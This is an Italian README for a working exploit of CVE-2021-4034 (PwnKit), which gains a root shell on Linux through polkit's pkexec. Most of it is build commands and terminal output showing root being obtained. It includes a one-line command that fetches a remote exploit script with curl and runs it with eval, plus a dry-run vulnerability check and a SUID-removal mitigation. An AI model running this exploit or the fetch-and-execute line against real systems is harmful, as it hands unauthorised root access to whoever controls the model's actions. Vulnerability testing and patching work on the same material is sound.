
Exploit per CVE-2021-4034 (PwnKit) che mira a polkit pkexec per ottenere l'escalation dei privilegi locali a root sui sistemi Linux. Include la modalità dry-run per i test di vulnerabilità.
Un giorno per l'exploit di escalation dei privilegi di polkit
Basta eseguire make, ./cve-2021-4034 e goditi una shell da root.
L'avviso originale dei veri autori è qui
Se l'exploit funziona, otterrete immediatamente una shell da root:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Aggiornare polkit sulla maggior parte dei sistemi correggerà l'exploit, quindi vedrete l'uso e il programma uscirà:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Per non eseguire una shell ma solo testare se il sistema è vulnerabile, compilate il target dry-run.
Se il programma esce stampando "root", significa che il vostro sistema è vulnerabile all'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se il sistema non è vulnerabile, stampa un errore ed esce.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (precedentemente PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi Unix-like. Fornisce un modo organizzato per consentire ai processi non privilegiati di comunicare con processi privilegiati. È anche possibile usare polkit per eseguire comandi con privilegi elevati usando il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).
Potete facilmente sfruttare il sistema usando un singolo script, scaricabile ed eseguibile con questo comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se non sono disponibili patch per il vostro sistema operativo, potete rimuovere il bit SUID da pkexec come mitigazione temporanea.
# chmod 0755 /usr/bin/pkexec
L'exploit fallirà quindi segnalando che pkexec deve avere il bit setuid abilitato.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root